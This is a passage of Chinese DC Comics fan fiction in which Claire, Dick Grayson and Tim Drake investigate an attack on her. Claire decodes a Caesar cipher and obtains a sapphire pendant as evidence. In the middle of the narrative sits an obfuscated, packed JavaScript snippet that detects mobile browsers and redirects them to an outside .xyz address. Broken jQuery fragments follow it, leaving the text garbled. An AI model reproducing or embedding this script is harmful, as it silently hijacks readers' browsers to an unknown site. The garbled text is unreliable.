天花板的吸顶灯灯罩上有一道裂纹。


    有时候她们并肩躺在温暖舒适的床上，迪克会说起灯罩裂纹的故事。


    他说有一次他不小心将一根短棍砸到了灯上，留下那道裂纹。他一直在等一个机会，等灯罩坏得更彻底，好让他不得不停下手头所有工作去修好它。


    随后，克莱尔会说，我现在就能修，只要你下楼买一个新的灯罩。


    到这时，迪克往往会凑过来吻她，边笑边说，等下次吧，他们难得见面，他不想把时间浪费在修灯上。


    于是下次见面，迪克会又一次说起灯罩的故事，克莱尔会又一次提议下楼买新的灯罩。最后她们接吻，倒进爱的温床。


    灯罩是一个辅助工具，方便她们回忆、交谈，敞开一部分内心。


    克莱尔睁开眼睛，望着天花板。半个月过去，有裂纹的灯罩仍安好地枕着迪克家的天花板。


    她的脑袋在枕头上调转方向。公寓的主人不知何时睡醒起床，床上的另一卷薄毯以苏打饼干的形状叠放在床脚。


    克莱尔起身，扯开衣领看了一眼裹住半个肩膀的纱布。经过一夜的睡眠，正在愈合的伤口像有蚂蚁啃咬。


    而床头柜上恰到好处地备好了药膏和纱布，还有分手前她扔进迪克家洗衣机里的一套衣服，但外套是迪克的。她后知后觉地意识到，自己留下了太多痕迹在这里，包括她昨晚穿的睡裙。


    说话声来自卧室外，克莱尔收拾好走出卧室，更清楚地听到声音来自厨房。


    迪克用侧脸和肩膀夹住手机，两只手抄着锅和铲，“明白，我九点钟之前到。”


    他盛出两碟培根煎蛋，烤面包机里恰好弹出两块微焦的吐司。迪克又加了几勺昨晚剩下的炖牛肉，简单地摆了盘，“一顿丰盛的早餐！”


    克莱尔顺手取了餐具和茶壶，开玩笑道：“我们不吃你囤积的鸟食？”


    “我只在很忙很懒的时候吃麦片和谷物圈，今早原本不归我值班。”迪克语气幽怨，“还有，那不是鸟食。”


    两人面对面在餐桌前坐下，克莱尔敷衍道：“是，那是你珍藏的限定口味，我这辈子都不会吃一口西瓜干果麦片的。”


    “它还不错，只是没那么好吃。”


    “没那么好吃就是难吃。”克莱尔切开培根，满意地闻到肉香，“人就应该吃肉。”


    “等你成为做饭的人再来挑食。”


    “如果我做饭，我就不会挑食，我只做自己喜欢吃的东西。”


    桌上迪克的手机时不时叮叮咚咚收到消息。想到她吃着迪克做的早餐，克莱尔多关心了一句，“有案子？”


    “是临时接到的通知。”迪克说着，迟疑不决，“你——”


    克莱尔给自己倒了一杯茶，没想到壶嘴里倒出来的是热腾腾的牛奶。她皱着眉喝了几口，道：“我吃完早餐就走，去买新手机，还要处理一些事情。”


    迪克点头，分手前他们已经习惯了彼此的忙碌，分手后这份默契依旧存在。


    克莱尔吃完早餐，把餐具堆进洗碗池，拎起沙发上她的外套。迪克用清洁剂处理了血渍，明显的破损只剩下肩部撕裂的口子。


    她问：“你家的针线在哪儿？”


    没人回答。克莱尔扭头，迪克正用一种震惊又受伤的眼神看她。他不解控诉：“你从来没打开过我家的电视柜吗？”


    克莱尔像一台运转卡壳的机器人，停顿一下才辩解道：“我又没在你家看过电视！”


    她拉开电视柜柜门，在一排排碟片下找到针线盒。那些碟片都蒙了一层浅浅的灰，显然迪克自己也没时间看。


    “《女作家与谋杀案》《蓝色月光侦探社》《神气活现》和《魔鞋》，你的审美真够老派的。”她说着，古怪地一蹙眉，“《蓝色月光侦探社》很出名吗？”


    迪克幽幽道：“你不知道它当年有多流行。”


    克莱尔一耸肩，咧咧嘴，“我小时候是故事书派。”


    她缝了几针，怎么看都不满意，干脆把外套挂在手臂上，“我出去找个裁缝。”


    迪克指点她，“出门右拐直走三百米，肥猫酒吧旁边的小巷子进去，招牌是纺锤的那家裁缝铺。老先生手艺特别好。”


    他总是很体贴，但他的“总是”像漂浮在空中的云，有时铺天盖地，有时不见踪影。


    “听你的。”克莱尔换上鞋出门。


    迪克在窗口等着，看到克莱尔按照他给的路线离开后，他收拾了餐具，打开窗。


    夜翼分身乏术，所以昨晚的调查工作是罗宾完成的。少年跳进来，摘掉面罩，脸上一点都看不出来熬通宵的疲惫。


    “情况不妙，那条路上本来就没有多少监控，能用的监控探头，那段时间都进行了检修。我在追踪负责人的动向，顺便查一查更广范围的监控视频。”


    “辛苦你了。”迪克说，“白天我有另一份同样重要的工作……你去床上休息吧，可以在衣柜里拿我的T恤穿。”


    “不用，”摘下面罩后的罗宾，提姆，精神抖擞，“我在沙发上歇会儿就行。”


    他笑容暧昧，促狭地挤挤眼睛，“你们感情不错。”


    迪克僵硬地扯了扯嘴角，“去睡床，别让我感觉自己在欺负小孩。”


    提姆新奇地在他的公寓里转了几圈，装模作样地问：“你家的针线在哪儿，我能借用一下吗？”


    他一定听到了，这只聒噪的小鸟当时就躲在窗户外面！


    “蝙蝠侠没有别的事交给你做吗，小间谍？”迪克满腹怨气，“我还没相信你和我是同一边的。”


    提姆打开电视柜，稚气未脱的脸上满是无辜，“我的披风坏了，我只是想缝好我的披风。”


    他坐到沙发上，开始缝披风边缘那个几乎看不见的裂口，勤勤恳恳地打理翅膀上的羽毛。


    迪克抱肘环胸，故作凶狠地盯着他。提姆眨眨眼睛，“需要我陪你看电视吗？经典电影，随叫随到。”


    “你的体贴真让我头皮发麻，兄弟。”迪克无力道。


    他搜肠刮肚，试图从前几个月的记忆里扣出一点甜蜜时光来狡辩。


    “我们不总是这样，有空的时候我们经常一起吃饭，偶尔到电影院看电影，或者在酒吧里和一群酒客看棒球比赛。”


    “真甜蜜，”提姆真情实感地夸赞，“听起来我和巴特也很有爱。”


    “真不错，”迪克假笑道，“我要去上班了，你好好休息。”


    他套上外套出门，关门的声音特别大。


    克莱尔就不用上班，她休假了。


    她先是把外套送去了裁缝铺，留了电话约定过几天来取，又去买了新手机。


    她发短信联系了夜翼，询问昨晚的调查情况。后者似乎在忙，回复很简短。


    “监控有问题，罗宾会跟进这条线。”


    克莱尔回复了一声，去街边的眼镜店买了店里最好的一副墨镜。她打算回到自己遇袭的现场看看，但她的一双眼睛远比她的外表更引人瞩目。好一点的墨镜不会影响她搜查。


    昨夜的风波没对这座城市造成多大影响，警察们在公园外拉起警戒线，来往的行人匆匆，都不曾停下看一眼，只有保险公司的调查员在警戒线外张望，试图了解更多情报。


    公园对面有家电子产品维修店的广告屏坏掉了，电子屏上滚动的广告变成一串乱码。店主苦恼地蹲在电子屏后面，翻来覆去地检查。


    克莱尔抬头看，维修店有一个很霸气的店名：恺撒维修铺。


    她走了几步，倒退回来，再次看向店名和电子屏上无规律的字母。


    恺撒变换是最简单最经典的替换加密手段，所有字母朝字母表前后上下任意方向按固定数目移动，即可得到替换的密文。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050714|162798||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    它是基础的加密技术，留下信息的人胆大中带着一点意气的可爱。


    电子屏顶端是三颗涂黑的星星。克莱尔将字母往字母表前挪三位，解出一串乱码，往后挪三位，她得到一句话和一个落款，R。


    她按照R留下的信息找到公园边左数第三棵树的树洞，在树洞里掏出一只用小包装起来的通话耳机。


    她戴上耳机，开机，等了不到二十秒，耳机里传来罗宾清亮的音色，“我就知道你能发现！”


    “你真爱炫耀，显摆鬼。”克莱尔咋舌，“说吧，你有什么想背着夜翼偷偷告诉我的？”


    “只是方便我和你共享信息。”罗宾义正言辞地强调。


    “你不累吗，”克莱尔掉头往来时的小巷里走，“你昨晚应该没有时间睡觉。”


    “我正在休息。”罗宾说。


    “我可以挂掉电话。”


    “不用，你继续说，我可以一边打电话一边睡觉。”罗宾一本正经地说出不可思议的发言。


    克莱尔轻啧一声，无言以对。


    天亮以后，隐藏在贫民窟各个角落的流浪汉开始活动。他们坐在照不到光的墙根，摆弄酒瓶里各种瓶底剩酒混合的酒根酒。


    克莱尔路过他们，目光停留在一个邋遢的流浪汉身上。对方屈腿缩在两面墙形成的夹角之间，如同一棵破布缝制的灰扑扑的圣诞树。


    灰色圣诞树上挂着一件漂亮的装饰。


    克莱尔去商店里提了一个袋子出来，走到流浪汉跟前，靠墙蹲下，“你身上这条项链多少钱能卖给我？”


    流浪汉浓密蜷曲的胡须与乱糟糟的头发间射出审视打量的眼神，他警惕地扭动身体，做出驱赶的手势，“不卖。”


    “你准备去梅多代尔市场销赃？”克莱尔道，“布鲁德海文最大的黑市，那里可不流行珠宝首饰，那群搞进化药和军用机器人的疯子会要了你的命。”


    “而且，”她补充了一句，“你也拿不到钱。”


    流浪汉啐了一口，恶狠狠道：“不关你的事，金发妞。”


    他刚要走开，克莱尔掏出证件，飞快在流浪汉眼前一晃。


    “FBI办案，”克莱尔收回证件，将袋子扔给他，“两百美元加一组啤酒、一组罐头，或者，你更愿意去和警察聊聊？”


    流浪汉明显犹豫了一下，比起FBI，警察的威胁更实在。


    克莱尔微笑地看着他，墨镜遮住眼睛，不与他对视。


    最终，流浪汉开口：“两组啤酒。”


    克莱尔抽出三张纸钞，借外套的掩盖塞进流浪汉掌心，“三百美元，你可以自己去买。”


    流浪汉解下颈间的金链，一枚剔透的蓝宝石吊坠从他麻布袋似的衣领里升起来。


    他迫不及待地将吊坠和金链甩给克莱尔，道：“不管它值不值三百美元，我们的交易都结束了。”


    真正的珠宝不会出现在贫民窟，流浪汉更愿意相信那是某个女孩掉在巷子里的假货。


    克莱尔起身，“证物是无价的，多谢帮忙，伙计。”


    她收好吊坠，走出一段距离，刚才保持沉默的罗宾在通讯耳机里开口：“你怎么知道那是袭击者身上掉下来的东西？”


    不等克莱尔回答，他想通一切，恍然大悟，“因为你看到了。”


    克莱尔道：“对，我看到了。”


    他们的“看到”，不是克莱尔看到了吊坠遗失的过程，事实上她当时的注意力大部分集中在如何逃跑上。她“看到”的是可能性。


    走到无人处，她将吊坠抓在手心抛了抛，在阳光下观察宝石的色泽与质感。


    “袭击我的那家伙打扮得像是刚结束一场约会，这条吊坠是真货，那条巷子一晚上能路过几个冤大头？”


    “这么昂贵的宝石，一定有内置序列号。”


    她们可以追查到购买珠宝的主人。